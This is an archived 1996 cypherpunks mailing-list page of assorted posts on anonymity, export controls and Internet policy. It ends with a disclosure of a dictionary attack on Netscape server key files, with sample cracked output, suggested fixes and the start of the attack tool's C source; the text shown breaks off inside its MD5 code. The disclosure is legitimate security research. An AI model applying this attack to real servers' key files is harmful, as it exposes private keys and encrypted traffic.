December 2003 - cypherpunks-legacy

Re: WHO IS MAKING A MOCKERY OF WHOM?
by Marc J. Wohler 17 Dec '03

17 Dec '03

At 05:55 PM 9/24/96 -0400, you wrote: >At 06:15 AM 9/24/96 -0700, Sandy Sandfort wrote: > >>C'punks, >>Time for another informal poll. >> >>On Mon, 23 Sep 1996, John Anonymous MacDonald wrote: >>> What a joy to make a public mockery of Tim Mayo! >> >>Do list members think Anonymous' posts make a public mockery of >>Tim May or Anonymous? Let me know whose reputation you think >>is enhanced or tarnished by these posts. I'll post a summary to >>the list in a week or two. > I vote for Anonymous. Also, it seems evident that some non-anonymous posters aka KTOM seem to understand how to *abuse* our American freedom's but don't understand about *responsible* use. Is this a deliberate attempt to damage this list or is it that some folk just can't handle freedom? M. J. Wohler

2 1

PEA_nut
by jya＠pipeline.com 17 Dec '03

17 Dec '03

9-25-96. WaJo reports on yesterday's suit challenging Georgia's crackerdown on the Internet, including its prohibition of anonymity. Ms. Dyson avidly supports anon, it lies. --------- http://jya.com/peanut.txt PEA_nut

1 0

Re: Hallam-Baker demands more repudiations or he'll write!
by Jean-Francois Avon 17 Dec '03

17 Dec '03

On 25 Sep 96 at 5:59, Brian Davis wrote: > I disagree that that will be the response, but you should be willing > to allow one group of people to fight fire with fire. But generally, it has been found a much better solution to fight fire with water, and this is why I am not convinced of the ideological effectiveness of AP, although I don't doubt it's operationnal effectiveness at all. I will take that sentence only slightly out-of-(specific)-context and make a still pertinent remark about it: This is *exactly* what Jim Bell, because of his opinions, envision to do with the AP system. I find that absolutely hilarious! jfa Please reply by e-mail since I am not on Cypherpunks anymore.

4 3

Re: reputation, e.g. www.ffly.com (was: Not reputation again! (Was: The Nature ofthe Cypherpunks List) )
by tcmay＠got.net 17 Dec '03

17 Dec '03

As Bryce addressed this to me as the primary recipient, I have to assume he's ascribing these ideas to me. At 12:19 PM 9/25/96, bryce(a)digicash.com wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >It's silly to conflate ratings of people with ratings of >people's opinions with ratings of people's ratings of etc. > > >Some of the people I work with have awful opinions on politics, >other people, music, movies, books, and food, but great opinions >on computer hardware, algorithms and programming languages. ... I never said there is going to be a simple scalar rating. In my last major post on this, several weeks ago, I even elaborated, saying that even Alice's rating of Bob, for example, would have multiple components, such as her rating of his taste in movies, his taste in restaurants, his political beliefs, his technical expertise, etc. This area is complicated enough to talk about with oversimplifying-and-then-critiqueing. These are usually called "straw man" arguments. --Tim We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

Re: Esther Dyson and anonymity
by jya＠pipeline.com 17 Dec '03

17 Dec '03

You're right, I was too mindlessly rantish about Esther Dyson's WSJ comments. However, I bought Esther a bottle of champagne in NYC a few days ago, sent it to her table signed "An Admiring Cypherpunk." She came over to say hello, and we chatted a a bit about her recent messages on Cypherpunks, which I complimented her for posting. She still doesn't know my name, I said I was "Anonymous." She grinned and staggered away. The champagne brought her over to the side of Anonymous, that's it. AYA

1 0

Re: unsubscibe
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 2:00 PM 9/25/96, Chip Mefford wrote: >unsubscibe "unsubscibe" is not a word. Nor is "unsuscrive," or "unscrive." Send the correct word to the correct address, stated often here, and you will be unsubscribed. --Tim May (Hint: majordomo(a)toad.com, with message body of "unsubscribe cypherpunks" (no quotes)) We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

Feds trying to stop judicial review of Commerce Dept export controls
by John Gilmore 17 Dec '03

17 Dec '03

[They appear to be trying to transfer all the export controls from the State Dept to the Commerce Dept -- including all the unconstitutional and heavy-handed parts. -- John] Date: Wed, 25 Sep 1996 11:34:23 -0400 From: <djw(a)cdt.org> (Daniel J. Weitzner) Memorandum To: Interested Parties Re: Proposed Amendments to Preclude Judicial Review in the Export Administration Act of 1996 (H.R. 361) Date: September 25, 1996 Failed U.S. encryption export controls continue to threaten Internet security, individual privacy, and the competitiveness of U.S. industry. Proposed amendments to H.R. 361, The Omnibus Export Administration Act of 1996 (see attached), would make this problem worse by preventing judicial review of Commerce Department export control decisions, and should be defeated. These Amendments: * Would further entrench a failed U.S. encryption policy * Would provide extraordinary relief that is unjustified, and would shift the balance of power in the ongoing public debate over Internet security. * Will prevent judicial review of a broad area of public policy affecting the First and Fourth Amendment rights of Americans. * Are inappropriate legislative meddling in ongoing controversies * Are unnecessary as the EAA already contains strict judicial review provisions. On balance, the Amendments would shelter the highly sensitive area of Internet security from much-needed judicial scrutiny . The Amendments are inappropriate, unjustified, and should not be approved. The Amendments entrench a failed U.S. encryption policy -- Administration export regulation of encryption keep U.S. computer users from protecting their privacy online and damage the competitiveness of U.S. industry. Three active cases in Federal Court are challenging these export controls. Three bills have been proposed in this session of Congress with bipartisan support to address what many believe to be the inappropriate application of export controls to encryption exports. The Amendments would further entrench these controversial regulations by sheltering them from much-needed judicial scrutiny. The Amendments provide extraordinary, unjustified relief -- The Amendments would preclude all judicial review under the Administrative Procedure Act, including challenges to arbitrary and capricious rule-making or improper statutory interpretation. They would extend the already limited judicial review provisions in the original EAA and H.R.361 to preclude nearly all substantive review. Congress has made no findings that would suggest that such unusual relief is warranted. Typically, relief from judicial review might be granted in areas where excessive or inappropriate litigation is feared in areas that Congress feels are well-settled. Such is not the case here. The problem with encryption export controls has not been too much litigation. The Amendments prevent judicial review of decisions that implicate First, Fourth, and Fifth Amendment rights -- Export controls have been the Administration's exclusive vehicle for the its key escrow encryption proposals -- which have a grave impact on American's First, Fourth, and Fifth amendment right. The Amendments would thus preclude judicial review in an area broadly affecting the rights of individuals and the growth of a new medium. The Amendments will likely interfere with important cases and controversies -- These Amendments would raise a serious impediment to those seeking judicial relief from what many believe to be unfair encryption export control policies. Judicial review provisions in the EAA and the Arms Export Control Act (AECA) were the basis for a federal judge's recent dismissal of a challenge to the encryption export controls. The EAA provisions will soon take on added significance as it is widely believed that the Administration will shift jurisdiction over encryption export controls from the State Department to the Commerce Department in the near future. The Amendments are unnecessary -- H.R. 361 as passed by the House already contains significant judicial review limitations. The bill already provides unusual constraints -- on both subject matter and venue -- for challenges to Commerce decision-making under the Act. There is little to indicate that the further extraordinary relief of these Amendments is required. * * * * * Encryption export controls represent an area where it is widely believed that the Administration is abusing its discretion in order to use powerful export regulations to influence the domestic market for and use of important technologies. Without recourse in the Executive Branch -- or in Congress this session -- concerned parties have been forced to turn to the courts. It is in just such a critical area where parties are most in need of judicial review. The Amendments suggested would serve to deny individuals and companies their much-needed day in court, have not been justified, and should not be approved. For more information, please contact: Daniel Weitzner, Deputy Director <djw(a)cdt.org> Alan Davidson, Staff Counsel <abd(a)cdt.org> Center for Democracy and Technology (202) 637-9800 Amendments to The Omnibus Export Administration Act of 1996 (H.R. 361) 1. Amendment to Section 112 (Administrative and Judicial Review) Text: On page 125, at line 17 in Section 112, insert: "The provisions of this section shall constitute the exclusive basis for judicial review of any agency action taken pursuant to this title and the regulations promulgated thereunder." On page 126, at line 1 in Section 112(a)(2), insert "only" between "reviewed" and "by appeal". On page 126, at line 3 in Section 112(a)(2), insert "and only" between "Circuit," and "to the extent". On page 126, at line 6 in Section 112(a)(2)(A), strike (A) and replace as follows: "(A) regulations fail to provide for procedures required by this title;". On page 126, at line 12 in Section 112(a)(2)(B), insert "procedural requirements of" between "violates" and "this title;". On page 127, at line 5 in Section 112(a)(2)(H), insert "procedural" between "with the" and "requirements". On page 127, at line 7, add a new paragraph (3) to Section 112(a) as follows: "Preclusion of Review. -- Substantive decisions of the Secretary and other officials on (i) whether to impose, expand, or extend export controls on any commodity or technology, (ii) whether and how to revise the Commodity Control Index, (iii) whether and under what conditions to grant, deny, or modify any export license, and (iv) any other questions of law or fact under this title (except as otherwise provided in subsections (b)-(d) of this section), shall be final and conclusive and no court shall have power or jurisdiction to review any such decision by an action in the nature of mandamus or otherwise." ============================================================================ Daniel J. Weitzner, Deputy Director <djw(a)cdt.org> Center for Democracy and Technology 202.637.9800 (v) 1634 Eye St., NW Suite 1100 202-637.0968 (f) Washington, DC 20006 http://www.cdt.org/ * PROTECT THE INTERNET AND THE FUTURE OF FREE SPEECH IN THE INFORMATION AGE * Join the legal challenge against the Communications Decency Act! For More Information, Visit the CIEC Web Page http://www.cdt.org/ciec/ or email <ciec-info(a)cdt.org>

1 0

No Subject
by Craig 17 Dec '03

17 Dec '03

Subject Line: Infowar.Com > ---- D I S T R I B U T E W I D E L Y ---- > >WWW.InfoWar.Com is now open. > >The Definitive WWW site for Information Warfare & Information Security. Created and managed by Winn Schwartau, Infowar.Com is designed to be "The" place to be seen and be heard. Be seen. Be linked. Our goal: To be a clearinghouse for all IW and InfoSec. > >News. Infowar. Articles. Discussions. The Latest. Experts. Reviews. Opinion. >Civil Defense. Info-Security. Controversy. Privacy. Crypto. Chats. List-servers. >Espionage. Military. C4I. Civil Defense. Global. > >Be seen. Be heard. Globally. Dynamic. New. Interactive. > >Yes, we're starting off small - manageable, but within a few short months look >at what we will have - on-line, bringing in tens of thousands of infosecurity >and information professionals. With your help, we'll be everything you want us >to be. > >* Timely Articles and Commentaries >* Military/Government infowar treatises hot off the press >* News that concerns you - As it Happens! >* Infowar.Com List Server and Private Discussion Groups (to begin with) > Infowar > Civil Defense > Terrorism > OSCINT > Hacking >* Over 600MB of on-line utilities for the Net >* On-Line Searches for Infowar and Infosec >* The Infowar and Infosec Papers That Set Standards >* Press Releases >* What's New!?! >* Audio Conferences >* Video Conference >* Specifications and Standards >* Product and Company Listings - Worldwide >* Contracts and Bids >* Specifications >* New papers and reports in all areas of Infowar >* Extensive International participation >* Compilations of the Best of Infowar and Infosec >* Hundreds of Security Utilities >* Over 50 different encryption tools >* User customized search engines for the entire site >* Interactive Infowar-Chat lines >* Who's Who of Infowar and Info-Sec >* Gigs and gigs . . . . >* And more . . . stuff we won't even tell our mothers about . . . yet . . > >We've always been interactive minded and we will count upon our users and >sponsors to guide us to provide better and better service. But, we will not >react to editorial extortion, either. <G> We have made our reputation on >brutal honesty and opinion and we will keep it. Might lose an advertiser from >time to time, but those is the breaks. > >We hope to see you there, contributing, interacting, discussing, commenting, >posting and contributing. Contributions: betty(a)infowar.com or webwarrior(a)infowar.com All submissions are gratefully accepted however, will be reviewed for relevance and content prior to being published. IF - you hear something hot...see something hot..... be a good Warrior and call Betty at 813-367-7277 and leave a message that you have e-mailed the info. That way we can be sure to look for it and get it out on distribution. You want to add some Warriors to our ListServ: betty(a)infowar.com or webwarrior(a)infowar.com > >If you happen to be interested in Infowar.Com Sponsorship opportunities, please give us a ring: Our rates are very competetive.... and get on the bandwagon so we can *lock-in the rate. > >Betty(a)Infowar.com >or call >813.367.7277 > >Thank You > >Winn Schwartau >and the terrific folks at >Infowar.Com > Winn Schwartau - Interpact, Inc. > Information Warfare and InfoSec > V: 813.393.6600 / F: 813.393.6361 > Http://www.infowar.com > Winn(a)infowar.com >

2 1

Re: Anonymous Mail at US Post
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 12:45 AM 9/25/96, Greg Kucharo wrote: >I don't know if anyone else has seen this, but I was mailing letters >in the "out front" boxes the other day when I noticed a sign. The sign >said that all packages 16 ounces or over had to be taken inside for >disposal into the mail slot. The obvious explanation being that even >though you can abstain from marking a return address, the postal >inspectors would like a nice photo of you with your mail. Yes, this was the chief topic of discussion here a few weeks ago. :-} One of the serious downsides of someone filtering out messages is that all 1400 of us then see the same topics presented again. (This is more serious when people are forwarding long articles or press releases, with sometimes half a dozen copies being received on the list.) --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

re: Rutgers DIMACS Dist. Trust Workshop
by Mike McNally 17 Dec '03

17 Dec '03

Has anyone who's registered for next week's conference at Rutgers gotten any sort of confirmation? I've been trying for days to do so, and though I've sent mail and called I haven't managed to get hold of anyone who can tell me anything. (And now they seem to not answer the phone at all; I think they got a bigger response than they expected.) -- ______c_________________________________________________________________ Mike M Nally * IBM % Tivoli * Austin TX * How quickly we forget that mailto:m5@tivoli.com mailto:m101@io.com * "deer processing" and "data http://www.io.com/~m101/ * processing" are different!

1 0

Euro-Commission to tackle porn on Internet
by Vipul Ved Prakash 17 Dec '03

17 Dec '03

*** Euro-Commission to tackle porn on Internet The European Commission, faced with calls to clamp down on Internet pornography following a Belgian pedophilia scandal, will take a first step in October toward seeing how it can be done. On Oct. 9, Culture Commissioner Marcelino Oreja plans to unveil a paper outlining how to identify authors of Internet pornography and how to interrupt that pornography. Oreja said options raised in the paper include encrypting access so that only those who pay could see the material or including a V-chip to screen against pornographic content. For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=178562-80c - Vipul -- Vipul Ved Prakash | - Electronic Security & Crypto vipul(a)pobox.com | - Internet & Intranets 91 11 2247802 | - Web Development & PERL 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - (Networked) Multimedia

1 0

[Long] How to break Netscape's server key encryption
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

The Netscape server key format is very susceptible to both a dictionary attack and to keystream recovery. It uses the PKCS #8 format for private keys, which provides a large amount of known plaintext at the start of the data, in combination with RC4 without any form of IV or other preprocessing (even though PKCS #8 recommends that PKCS #5 password-based encryption be used), which means you can recover the first 100-odd bytes of key stream with a simple XOR (the same stupid mistake Microsoft made with their .PWL files). This means two things: 1. It's very simple to write a program to perform a dictionary attack on the server key (it took me about half an hour using cryptlib, and another half hour to rip the appropriate code out of cryptlib to create a standalone program). 2. The recovered key stream from the encrypted server key can be used to decrypt any other resource encrypted with the server password, *without knowing the password*. This is because there's enough known plaintext (ASN.1 objects, object identifiers, and public key components) at the start of the encrypted data to recover large quantities of key stream. To demonstrate the problem, I have written a program which performs a dictionary attack on the server key, and if successful prints the password used to encrypt it and the server's RSA private key. Originally I used my encryption library (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) to do the encryption, to turn it into a standalone program I ripped the necessary parts out of the library, which means it's a bit messy and not as portable as the original was. The code could probably be made to run about twice as fast if it's properly optimised, but I don't know if it's worth the bother and besides, it's just gone 4am I could use some sleep. To run it, use: breaksk <Netscape server key file> <word list file> Here's the output from a server key someone sent me, tested against my 100MB+ word list collection (some people collect stamps, I collect word lists :-): The password used to encrypt this Netscape server key is 'unguessable'. Modulus = 00D50626580C2543378FD249994A543FBF5FF1333E70684E942EC7034E5FA [...] Public exponent = 03 Private exponent = 008E0419900818D77A5FE18666318D7FD4EAA0CCD44AF03462C9 [...] Prime 1 = 00FBD3FC2CE1F50B31323F2D3FA27F6708D4373CC0487DB7199A712124380 [...] Prime 2 = 00D88D984BA6A7CD07F6608D95D3AC2682769DA904D061E593CF86A21B4A9 [...] Exponent 1 = 00A7E2A81DEBF8B220CC2A1E2A6C54EF5B3824D32ADAFE7A1111A0C0C2 [...] Exponent 2 = 00905E6587C46FDE054EEB090E8D1D6F01A4691B588AEBEE628A59C167 [...] Coefficient = 2DEBC012356B96D2206346141371D999288F55DD07AEF6D1972383E97 [...] (I've trimmed some of the lines a bit). The problem here is caused by a combination of the PKCS #8 format (which is rather nonoptimal for protecting private keys) and the use of RC4 to encryt fixed, known plaintext. Since everything is constant, you don't even need to run the password-transformation process more than once - just store a dictionary of the resulting key stream for each password in a database, and you can break the encryption with a single lookup (this would be avoided by the use of PKCS #5 password-based encryption, which iterates the key setup and uses a salt to make a precomputed dictionary attack impossible. PKCS #5 states that its primary intended application is for protecting private keys, but Netscape chose not to use this and went with straight RC4 instead). A quick (but not necessarily optimal) solution to the problem involves two changes: 1. Only encrypt the unknown, private fields in the key (which is what PGP does). Instead of wrapping everything up in several layers of encapsulation with object identifiers and public-key components, change the portion which is encrypted to: EncryptedRSAPrivateKey ::= SEQUENCE { privateExponent INTEGER, prime1 INTEGER, prime2 INTEGER, exponent1 INTEGER, exponent2 INTEGER, coefficient INTEGER } with everything else outside this object. 2. Don't use a simple stream cipher to encrypt fixed data like this. Use an IV on the encrypted data. Iterate the password setup to slow down a dictionary attack (I posted a scheme for transforming variable to fixed-length keys to the cypherpunks list a few days ago which provides the necessary functionality). The consequences of this attack are pretty scary. It involves vastly less effort than breaking a 40-bit session key or factoring a 512-bit public key, yet once you've recovered the private key you can also recover every session key it's ever protected in the past and will ever protect in the future (which is why I'm a fan of signed DH for session key exchange). The ease with which a dictionary attack can be carried out represents a critical weakness which compromises all other encryption components on the server - spending a few days with a Markov-model based phrase generator on a PC is still a lot easier than spending a few months with GNFS and a workstation farm. It seems strange that there are no real standards defined for secure storage of such a critical component as a private key. Although a lot of work has gone into X.509 and the multitude of related public-key certificate standards, the only generally-used private-key formats are PKCS #8 (which has problems, as demonstrated above), and Microsofts recently-proposed PFX (Personal Information Exchange) data format and protocol (PFX is designed to allow users to move their keys, certificates and other personal information securely from one platform to another, you can get more info on it from http://www.microsoft.com/intdev/security/misf11_7.htm) which is too new to comment on. It would be useful if a portable, secure private-key format at the same level as the X.509 effort were developed to solve this problem. For the curious (and ASN.1-aware), here's what the data formats look like. First there's the outer encapsulation which Netscape use to wrap up the encrypted key: NetscapeServerKey ::= SEQUENCE { identifier OCTET STRING ('private-key'), encryptedPrivateKeyInfo EncryptedPrivateKeyInfo } Inside this is a PKCS #8 private key: EncryptedPrivateKeyInfo ::= SEQUENCE { encryptionAlgorithm EncryptionAlgorithmIdentifier, encryptedData EncryptedData } EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier EncryptedData = OCTET STRING Now the EncryptionAlgorithmIdentifier is supposed to be something like pbeWithMD5AndDES, with an associated 64-bit salt and iteration count, but Netscape ignored this and used straight rc4 with no salt or iteration count. The EncryptedData decrypts to: PrivateKeyInfo ::= SEQUENCE { version Version privateKeyAlgorithm PrivateKeyAlgorithmIdentifier privateKey PrivateKey attributes [ 0 ] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute The algorithm information is encoded as: AlgorithmIdentifier ::= SEQUENCE { algorithm ALGORITHM.&id( { SupportedAlgorithms } ), parameters ALGORITHM.&Type( { SupportedAlgorithms }{ @algorithm } ) OPTIONAL } SupportedAlgorithms ALGORITHM ::= { ... } ALGORITHM ::= TYPE-IDENTIFIER (and so on and so on, I haven't bothered going down any further). The EncryptionAlgorithmIdentifier is '1 2 840 113549 3 4' or { iso(1) member-body(2) US(840) rsadsi(113549) algorithm(3) rc4(4) }. The PrivateKeyAlgorithmIdentifier is '1 2 840 113549 1 1 1' or { iso(1) member-body(2) US(840) rsadsi(113549) pkcs(1) pkcs1-1(1) rsaEncryption(1) }. Included below is the code to perform the attack (set tabs to 4, phasers to stun). Do I get a t-shirt for this? :-) Peter. -- Snip -- /* BreakSK - Break Netscape server key file encryption via dictionary attack. Written by Peter Gutmann <pgut001(a)cs.auckland.ac.nz> 26 September 1996 */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Most of the code here was ripped out of cryptlib and is somewhat messy as a consquence. cryptlib has fairly extensive self-configuration and an internal API which hides machine-specific details, this program doesn't (the code here really wasn't meant for standalone use). As a result you need to manually define LITTLE_ENDIAN or BIG_ENDIAN, and it won't work at all on 64-bit systems. If you want the portability, use cryptlib instead */ #define LITTLE_ENDIAN /* #define BIG_ENDIAN */ /* Workarounds for cryptlib defines, constants, and macros */ #define MASK32(x) x #define FALSE 0 #define TRUE !FALSE typedef unsigned char BYTE; typedef unsigned long LONG; typedef int BOOLEAN; /* Functions to convert the endianness from the canonical form to the internal form. bigToLittle() convert from big-endian in-memory to little-endian in-CPU, littleToBig() convert from little-endian in-memory to big-endian in-CPU */ void longReverse( LONG *buffer, int count ); #ifdef LITTLE_ENDIAN #define bigToLittleLong( x, y ) longReverse(x,y) #define littleToBigLong( x, y ) #else #define bigToLittleLong( x, y ) #define littleToBigLong( x, y ) longReverse(x,y) #endif /* LITTLE_ENDIAN */ /* Byte-reverse an array of 16- and 32-bit words to/from network byte order to account for processor endianness. These routines assume the given count is a multiple of 16 or 32 bits. They are safe even for CPU's with a word size > 32 bits since on a little-endian CPU the important 32 bits are stored first, so that by zeroizing the first 32 bits and oring the reversed value back in we don't need to rely on the processor only writing 32 bits into memory */ void longReverse( LONG *buffer, int count ) { #if defined( _BIG_WORDS ) BYTE *bufPtr = ( BYTE * ) buffer, temp; count /= 4; /* sizeof( LONG ) != 4 */ while( count-- ) { /* There's really no nice way to do this - the above code generates misaligned accesses on processors with a word size > 32 bits, so we have to work at the byte level (either that or turn misaligned access warnings off by trapping the signal the access corresponds to. However a context switch per memory access is probably somewhat slower than the current byte-twiddling mess) */ temp = bufPtr[ 3 ]; bufPtr[ 3 ] = bufPtr[ 0 ]; bufPtr[ 0 ] = temp; temp = bufPtr[ 2 ]; bufPtr[ 2 ] = bufPtr[ 1 ]; bufPtr[ 1 ] = temp; bufPtr += 4; } #else LONG value; count /= sizeof( LONG ); while( count-- ) { value = *buffer; value = ( ( value & 0xFF00FF00UL ) >> 8 ) | \ ( ( value & 0x00FF00FFUL ) << 8 ); *buffer++ = ( value << 16 ) | ( value >> 16 ); } #endif /* _BIG_WORDS */ } #define mputLLong(memPtr,data) \ memPtr[ 0 ] = ( BYTE ) ( ( data ) & 0xFF ); \ memPtr[ 1 ] = ( BYTE ) ( ( ( data ) >> 8 ) & 0xFF ); \ memPtr[ 2 ] = ( BYTE ) ( ( ( data ) >> 16 ) & 0xFF ); \ memPtr[ 3 ] = ( BYTE ) ( ( ( data ) >> 24 ) & 0xFF ); \ memPtr += 4 /**************************************************************************** * * * MD5 * * * ****************************************************************************/ /* The MD5 block size and message digest sizes, in bytes */ #define MD5_DATASIZE 64 #define MD5_DIGESTSIZE 16 /* The structure for storing MD5 info */ typedef struct { LONG digest[ 4 ]; /* Message digest */ LONG countLo, countHi; /* 64-bit bit count */ LONG data[ 16 ]; /* MD5 data buffer */ #ifdef _BIG_WORDS BYTE dataBuffer[ MD5_DATASIZE ]; /* Byte buffer for data */ #endif /* _BIG_WORDS */ BOOLEAN done; /* Whether final digest present */ } MD5_INFO; /* Round 1 shift amounts */ #define S11 7 #define S12 12 #define S13 17 #define S14 22 /* Round 2 shift amounts */ #define S21 5 #define S22 9 #define S23 14 #define S24 20 /* Round 3 shift amounts */ #define S31 4 #define S32 11 #define S33 16 #define S34 23 /* Round 4 shift amounts */ #define S41 6 #define S42 10 #define S43 15 #define S44 21 /* F, G, H and I are basic MD5 functions */ #define F(X,Y,Z) ( ( X & Y ) | ( ~X & Z ) ) #define G(X,Y,Z) ( ( X & Z ) | ( Y & ~Z ) ) #define H(X,Y,Z) ( X ^ Y ^ Z ) #define I(X,Y,Z) ( Y ^ ( X | ~Z ) ) /* ROTATE_LEFT rotates x left n bits */ #define ROTATE_LEFT(x,n) ( ( x << n ) | ( x >> ( 32 - n ) ) ) /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */ #define FF(A,B,C,D,X,shiftAmt,magicConst) \ A += F( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define GG(A,B,C,D,X,shiftAmt,magicConst) \ A += G( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define HH(A,B,C,D,X,shiftAmt,magicConst) \ A += H( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define II(A,B,C,D,X,shiftAmt,magicConst) \ A += I( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) /* Basic MD5 step. Transforms digest based on data. Note that if the Mysterious Constants are arranged backwards in little-endian order and decrypted with DES they produce OCCULT MESSAGES! */ void MD5Transform( LONG *digest, LONG *data ) { LONG A, B, C, D; /* Set up local data */ A = digest[ 0 ]; B = digest[ 1 ]; C = digest[ 2 ]; D = digest[ 3 ]; /* Round 1 */ FF( A, B, C, D, data[ 0 ], S11, 3614090360UL ); /* 1 */ FF( D, A, B, C, data[ 1 ], S12, 3905402710UL ); /* 2 */ FF( C, D, A, B, data[ 2 ], S13, 606105819UL ); /* 3 */ FF( B, C, D, A, data[ 3 ], S14, 3250441966UL ); /* 4 */ FF( A, B, C, D, data[ 4 ], S11, 4118548399UL ); /* 5 */ FF( D, A, B, C, data[ 5 ], S12, 1200080426UL ); /* 6 */ FF( C, D, A, B, data[ 6 ], S13, 2821735955UL ); /* 7 */ FF( B, C, D, A, data[ 7 ], S14, 4249261313UL ); /* 8 */ FF( A, B, C, D, data[ 8 ], S11, 1770035416UL ); /* 9 */ FF( D, A, B, C, data[ 9 ], S12, 2336552879UL ); /* 10 */ FF( C, D, A, B, data[ 10 ], S13, 4294925233UL ); /* 11 */ FF( B, C, D, A, data[ 11 ], S14, 2304563134UL ); /* 12 */ FF( A, B, C, D, data[ 12 ], S11, 1804603682UL ); /* 13 */ FF( D, A, B, C, data[ 13 ], S12, 4254626195UL ); /* 14 */ FF( C, D, A, B, data[ 14 ], S13, 2792965006UL ); /* 15 */ FF( B, C, D, A, data[ 15 ], S14, 1236535329UL ); /* 16 */ /* Round 2 */ GG( A, B, C, D, data[ 1 ], S21, 4129170786UL ); /* 17 */ GG( D, A, B, C, data[ 6 ], S22, 3225465664UL ); /* 18 */ GG( C, D, A, B, data[ 11 ], S23, 643717713UL ); /* 19 */ GG( B, C, D, A, data[ 0 ], S24, 3921069994UL ); /* 20 */ GG( A, B, C, D, data[ 5 ], S21, 3593408605UL ); /* 21 */ GG( D, A, B, C, data[ 10 ], S22, 38016083UL ); /* 22 */ GG( C, D, A, B, data[ 15 ], S23, 3634488961UL ); /* 23 */ GG( B, C, D, A, data[ 4 ], S24, 3889429448UL ); /* 24 */ GG( A, B, C, D, data[ 9 ], S21, 568446438UL ); /* 25 */ GG( D, A, B, C, data[ 14 ], S22, 3275163606UL ); /* 26 */ GG( C, D, A, B, data[ 3 ], S23, 4107603335UL ); /* 27 */ GG( B, C, D, A, data[ 8 ], S24, 1163531501UL ); /* 28 */ GG( A, B, C, D, data[ 13 ], S21, 2850285829UL ); /* 29 */ GG( D, A, B, C, data[ 2 ], S22, 4243563512UL ); /* 30 */ GG( C, D, A, B, data[ 7 ], S23, 1735328473UL ); /* 31 */ GG( B, C, D, A, data[ 12 ], S24, 2368359562UL ); /* 32 */ /* Round 3 */ HH( A, B, C, D, data[ 5 ], S31, 4294588738UL ); /* 33 */ HH( D, A, B, C, data[ 8 ], S32, 2272392833UL ); /* 34 */ HH( C, D, A, B, data[ 11 ], S33, 1839030562UL ); /* 35 */ HH( B, C, D, A, data[ 14 ], S34, 4259657740UL ); /* 36 */ HH( A, B, C, D, data[ 1 ], S31, 2763975236UL ); /* 37 */ HH( D, A, B, C, data[ 4 ], S32, 1272893353UL ); /* 38 */ HH( C, D, A, B, data[ 7 ], S33, 4139469664UL ); /* 39 */ HH( B, C, D, A, data[ 10 ], S34, 3200236656UL ); /* 40 */ HH( A, B, C, D, data[ 13 ], S31, 681279174UL ); /* 41 */ HH( D, A, B, C, data[ 0 ], S32, 3936430074UL ); /* 42 */ HH( C, D, A, B, data[ 3 ], S33, 3572445317UL ); /* 43 */ HH( B, C, D, A, data[ 6 ], S34, 76029189UL ); /* 44 */ HH( A, B, C, D, data[ 9 ], S31, 3654602809UL ); /* 45 */ HH( D, A, B, C, data[ 12 ], S32, 3873151461UL ); /* 46 */ HH( C, D, A, B, data[ 15 ], S33, 530742520UL ); /* 47 */ HH( B, C, D, A, data[ 2 ], S34, 3299628645UL ); /* 48 */ /* Round 4 */ II( A, B, C, D, data[ 0 ], S41, 4096336452UL ); /* 49 */ II( D, A, B, C, data[ 7 ], S42, 1126891415UL ); /* 50 */ II( C, D, A, B, data[ 14 ], S43, 2878612391UL ); /* 51 */ II( B, C, D, A, data[ 5 ], S44, 4237533241UL ); /* 52 */ II( A, B, C, D, data[ 12 ], S41, 1700485571UL ); /* 53 */ II( D, A, B, C, data[ 3 ], S42, 2399980690UL ); /* 54 */ II( C, D, A, B, data[ 10 ], S43, 4293915773UL ); /* 55 */ II( B, C, D, A, data[ 1 ], S44, 2240044497UL ); /* 56 */ II( A, B, C, D, data[ 8 ], S41, 1873313359UL ); /* 57 */ II( D, A, B, C, data[ 15 ], S42, 4264355552UL ); /* 58 */ II( C, D, A, B, data[ 6 ], S43, 2734768916UL ); /* 59 */ II( B, C, D, A, data[ 13 ], S44, 1309151649UL ); /* 60 */ II( A, B, C, D, data[ 4 ], S41, 4149444226UL ); /* 61 */ II( D, A, B, C, data[ 11 ], S42, 3174756917UL ); /* 62 */ II( C, D, A, B, data[ 2 ], S43, 718787259UL ); /* 63 */ II( B, C, D, A, data[ 9 ], S44, 3951481745UL ); /* 64 */ /* Build message digest */ digest[ 0 ] = MASK32( digest[ 0 